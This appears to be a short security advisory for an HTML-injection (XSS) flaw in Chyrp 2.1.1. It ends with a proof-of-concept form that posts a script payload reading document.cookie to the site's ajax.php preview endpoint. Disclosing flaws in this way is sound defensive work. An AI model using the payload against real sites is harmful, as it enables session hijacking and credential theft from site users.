source: https://www.securityfocus.com/bid/52115/info

Chyrp is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Chyrp 2.1.1 is vulnerable; other versions may also be affected. 

<form action="http://[host]/includes/ajax.php" method="post">
<input type="hidden" name="action" value="preview" />
<input type="hidden" name="feather" value="" />
<input type="hidden" name="field" value="" />
<input type="hidden" name="content" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn"> 
</form>